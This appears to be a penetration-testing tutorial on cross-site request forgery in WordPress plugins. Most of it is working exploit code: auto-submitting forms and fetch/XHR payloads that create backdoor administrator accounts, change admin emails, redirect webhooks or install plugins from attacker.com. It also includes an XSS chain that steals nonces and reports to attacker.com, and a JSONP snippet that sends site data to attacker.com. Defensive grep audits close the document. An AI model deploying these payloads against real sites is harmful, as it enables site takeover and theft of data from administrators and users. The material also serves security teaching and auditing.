WordPress CSRF Attacks
Cross-Site Request Forgery (CSRF) in WordPress exploits the trust the application has in authenticated users' browsers. While WordPress uses nonces as CSRF protection, their misuse creates exploitable gaps. CSRF vulnerabilities in WordPress plugins often allow unauthenticated attackers to perform privileged actions by tricking an admin into visiting a malicious page.
CSRF in the WordPress Context
A WordPress CSRF attack works as follows:
- Admin is logged into their site (has valid session cookies)
- Admin visits an attacker-controlled page
- That page makes a request to the target WordPress site (using the admin's session)
- WordPress processes the request with admin privileges
WordPress cookies are sent by the browser for any request to the target domain, including cross-origin ones. Without nonce verification, this is trivially exploitable.
Key facts about WordPress CSRF:
Same-Site: Laxcookies (default since Chrome 80) block CSRF for most GET requests- POST requests via form submission bypass
LaxSameSite in some conditions - Nonces are the primary defense but have many bypass patterns (see nonces article)
- The
wp_ajax_nopriv_handler never has a "logged-in session" to steal, but can be called with no auth
CSRF Vulnerability: Missing Nonce on Settings Save
// VULNERABLE: Settings saved via POST without nonce verification
add_action( 'admin_post_save_plugin_settings', function() {
// No nonce check!
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized' );
}
update_option( 'plugin_api_key', sanitize_text_field( $_POST['api_key'] ) );
update_option( 'plugin_webhook_url', esc_url_raw( $_POST['webhook_url'] ) );
wp_redirect( admin_url( 'options-general.php?page=my-plugin&saved=1' ) );
exit;
});
The capability check prevents unauthenticated exploitation, but CSRF bypasses it: an authenticated admin's browser is used to make the request.
CSRF Vulnerability: Missing check_ajax_referer
// VULNERABLE: AJAX action without nonce verification
add_action( 'wp_ajax_create_api_token', function() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_send_json_error( 'Forbidden' );
}
// No nonce check - CSRF possible
$token = wp_generate_password( 32, false );
update_option( 'plugin_api_token', $token );
wp_send_json_success([ 'token' => $token ]);
});
# Verify the vulnerability: no nonce needed
curl -s -b /tmp/admin_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=create_api_token'
# If this returns {"success":true,...} without a nonce, it's CSRF-vulnerable
Building CSRF Exploit Pages
Basic Auto-Submitting HTML Form
<!DOCTYPE html>
<html>
<head><title>Legitimate Looking Page</title></head>
<body>
<h1>Please wait...</h1>
<form id="csrf" method="POST"
action="https://target.example.com/wp-admin/admin-ajax.php"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="action" value="save_plugin_settings">
<input type="hidden" name="api_endpoint" value="https://attacker.com/collect">
<input type="hidden" name="debug_mode" value="1">
<input type="hidden" name="allow_registration" value="1">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
CSRF via Fetch (No SameSite bypass needed for same-site or Lax GET)
<!DOCTYPE html>
<html>
<body>
<script>
// Note: fetch with credentials=include for cross-origin
// This works when SameSite=None or SameSite=Lax with POST is exploitable
fetch('https://target.example.com/wp-admin/admin-ajax.php', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'action=create_api_token'
})
.then(r => r.json())
.then(data => {
// Exfiltrate any response data
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(data)));
});
</script>
</body>
</html>
CSRF via Image Tag (GET-based)
<!-- Works when the CSRF action can be triggered via GET -->
<img src="https://target.example.com/wp-admin/admin-ajax.php?action=delete_all_logs"
width="0" height="0">
CSRF via XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.example.com/wp-admin/admin-ajax.php', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=update_admin_email&email=attacker@evil.com');
</script>
Common CSRF Impact Scenarios
Scenario 1: Settings Manipulation
Change site-wide settings to disable security features or redirect traffic:
<form id="csrf" method="POST"
action="https://target.example.com/wp-admin/options.php">
<input type="hidden" name="option_page" value="general">
<input type="hidden" name="action" value="update">
<!-- No nonce? Admin can be CSRF'd into changing options -->
<input type="hidden" name="siteurl" value="https://target.example.com">
<input type="hidden" name="blogname" value="Hacked Site">
<input type="hidden" name="admin_email" value="attacker@evil.com">
<input type="hidden" name="default_role" value="administrator">
</form>
<script>document.forms[0].submit();</script>
Note: WordPress core options.php IS protected by nonces (_wpnonce). This scenario applies to plugins with unprotected settings pages.
Scenario 2: User Creation via CSRF
<!-- CSRF to create a new admin account via unprotected plugin endpoint -->
<form id="csrf" method="POST"
action="https://target.example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="plugin_create_user">
<input type="hidden" name="username" value="backdoor_admin">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="password" value="P@ssw0rd!123">
<input type="hidden" name="role" value="administrator">
</form>
<script>document.forms[0].submit();</script>
Scenario 3: Plugin/Theme Installation
If a plugin allows installing updates from custom URLs without nonce protection:
<form id="csrf" method="POST"
action="https://target.example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="install_plugin_from_url">
<input type="hidden" name="plugin_url" value="https://attacker.com/malicious-plugin.zip">
</form>
<script>document.forms[0].submit();</script>
Scenario 4: Webhook/API Configuration
<!-- Change where the plugin sends data -->
<form id="csrf" method="POST"
action="https://target.example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="save_webhook">
<input type="hidden" name="webhook_url" value="https://attacker.com/exfil">
<input type="hidden" name="events" value="user_register,woocommerce_new_order">
</form>
<script>document.forms[0].submit();</script>
Chaining CSRF with XSS
CSRF can be chained with XSS for significantly higher impact. XSS removes the requirement for the victim to visit an attacker-controlled page - the payload runs on the trusted domain itself.
CSRF + Stored XSS Chain
1. Attacker submits malicious comment or post containing XSS payload
2. Comment awaits moderation (stored in database with payload)
3. Admin reviews comments -> XSS fires in admin browser
4. XSS payload reads admin nonces and performs authenticated actions
XSS payload that chains into CSRF to create a new admin:
// This runs in admin's browser context on WordPress domain
// So SameSite restrictions don't apply (same origin)
(async () => {
// Step 1: Fetch a page with a nonce
const r1 = await fetch('/wp-admin/user-new.php', {credentials: 'include'});
const html = await r1.text();
// Step 2: Extract nonce
const nonceMatch = html.match(/name="_wpnonce_create-user"\s+value="([^"]+)"/);
if (!nonceMatch) return;
const nonce = nonceMatch[1];
// Step 3: Create admin account
const body = new URLSearchParams({
action: 'createuser',
user_login: 'xss_admin',
email: 'attacker@evil.com',
first_name: '',
last_name: '',
url: '',
pass1: 'Xss_Admin_Pass_1234!',
pass2: 'Xss_Admin_Pass_1234!',
pw_weak: 'on',
role: 'administrator',
'user-super-admin': '0',
_wpnonce_create_user: nonce,
noconfirmation: '1',
});
const r2 = await fetch('/wp-admin/user-new.php', {
method: 'POST',
credentials: 'include',
body: body,
});
// Step 4: Exfiltrate confirmation
await fetch('https://attacker.com/success?status=' + r2.status);
})();
DOM XSS + CSRF for Immediate Admin Compromise
If the XSS fires on the admin's current page, it can immediately steal the nonce from the DOM:
// XSS runs on /wp-admin/options-general.php?page=target-plugin
// Steal nonce already in the DOM
const nonce = document.querySelector('[name="_wpnonce"]').value;
const formData = new FormData();
formData.append('action', 'save_settings');
formData.append('_wpnonce', nonce);
formData.append('malicious_setting', 'evil_value');
fetch(ajaxurl, {method: 'POST', credentials: 'include', body: formData});
Testing CSRF Vulnerabilities
Manual Testing Checklist
TARGET="https://target.example.com"
# 1. Identify all state-changing actions (POST endpoints)
grep -rn "admin_post_\|wp_ajax_" /var/www/html/wp-content/plugins/target-plugin/ \
--include="*.php" | grep "add_action"
# 2. For each action, check if nonce verification exists
grep -rn "check_ajax_referer\|wp_verify_nonce\|check_admin_referer" \
/var/www/html/wp-content/plugins/target-plugin/ --include="*.php"
# 3. Test: submit without nonce
curl -s -b /tmp/admin_cookies.txt -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d 'action=plugin_save_settings&setting=value'
# If succeeds without nonce -> CSRF vulnerable
# 4. Test: submit with invalid nonce
curl -s -b /tmp/admin_cookies.txt -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d 'action=plugin_save_settings&setting=value&nonce=invalid_nonce_value'
# If succeeds with invalid nonce -> nonce check bypassed
# 5. Test admin_post_ actions
curl -s -b /tmp/admin_cookies.txt -X POST "$TARGET/wp-admin/admin-post.php" \
-d 'action=plugin_action&setting=value'
Automated CSRF Detection
#!/bin/bash
# Test all AJAX actions for CSRF (no nonce check)
TARGET="https://target.example.com"
COOKIES="/tmp/admin_cookies.txt"
PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"
# Extract all action names
ACTIONS=$(grep -rP "wp_ajax_\K[^'\"]*" "$PLUGIN_DIR" --include="*.php" -oh | sort -u)
for action in $ACTIONS; do
echo -n "Testing CSRF on action '$action': "
# Attempt without any nonce
RESPONSE=$(curl -s -b "$COOKIES" -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d "action=$action" 2>/dev/null)
# Check if action ran (not -1, not nonce error)
if echo "$RESPONSE" | grep -q '"success"'; then
echo "VULNERABLE - action ran without nonce"
echo " Response: $(echo "$RESPONSE" | head -c 100)"
elif echo "$RESPONSE" | grep -q '"data":".*nonce\|security"'; then
echo "Protected - nonce error returned"
else
echo "Unknown: $RESPONSE" | head -c 80
fi
done
CSRF Via File Inclusion (JSONP Endpoints)
Older plugins sometimes expose JSONP endpoints, which bypass SameSite restrictions:
// VULNERABLE: JSONP callback with side effects
add_action( 'wp_ajax_nopriv_get_data', function() {
$callback = $_GET['callback']; // JSONP callback name
$data = get_option('sensitive_data');
echo $callback . '(' . json_encode($data) . ');';
wp_die();
});
<!-- Data exfiltration via JSONP - bypasses SameSite cookies (no cookies needed here) -->
<script>
function leaked(data) {
fetch('https://attacker.com/collect?d=' + encodeURIComponent(JSON.stringify(data)));
}
</script>
<script src="https://target.example.com/wp-admin/admin-ajax.php?action=get_data&callback=leaked"></script>
Grep Patterns for CSRF Audit
PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"
# Find all state-changing AJAX actions
echo "=== State-changing AJAX handlers ==="
grep -rn "add_action.*wp_ajax_" "$PLUGIN_DIR" --include="*.php"
# Find admin_post_ handlers (often forgotten in CSRF audits)
echo "=== admin_post_ handlers ==="
grep -rn "add_action.*admin_post_" "$PLUGIN_DIR" --include="*.php"
# Find nonce-less form processing
echo "=== Potential CSRF in form processing ==="
grep -rn "admin_post_\|save_post\|edit_post" "$PLUGIN_DIR" --include="*.php" -A15 | \
grep -v "wp_verify_nonce\|check_admin_referer\|check_ajax_referer"
# Find settings saves without nonce
echo "=== Settings saves ==="
grep -rn "update_option\|update_site_option" "$PLUGIN_DIR" --include="*.php" -B10 | \
grep -B10 "update_option" | grep -v "nonce\|referer\|check_ajax"
# JSONP endpoints (data exfiltration via CSRF)
echo "=== JSONP endpoints ==="
grep -rn "callback.*json\|jsonp\|\\\$_GET.*callback" "$PLUGIN_DIR" --include="*.php" -n
# Find actions accessible via GET (should only be POST for state changes)
echo "=== GET-based state changes ==="
grep -rn "add_action.*init\|add_action.*wp_loaded" "$PLUGIN_DIR" --include="*.php" -A10 | \
grep -A5 "\$_GET" | grep "update_option\|wp_insert\|wp_update\|wp_delete"
CSRF Defense Verification
# Verify nonce is correctly implemented in a handler
grep -A 30 "function handler_name" /path/to/plugin/file.php | \
grep -E "check_ajax_referer|wp_verify_nonce|check_admin_referer"
# Verify nonce is passed correctly in forms
grep -rn "wp_nonce_field\|wp_create_nonce" "$PLUGIN_DIR" --include="*.php" -n
# Verify nonce action strings match between creation and verification
# (manual review: compare the action string in wp_create_nonce vs check_ajax_referer)
grep -rn "wp_create_nonce\|check_ajax_referer\|wp_verify_nonce" \
"$PLUGIN_DIR" --include="*.php" | sort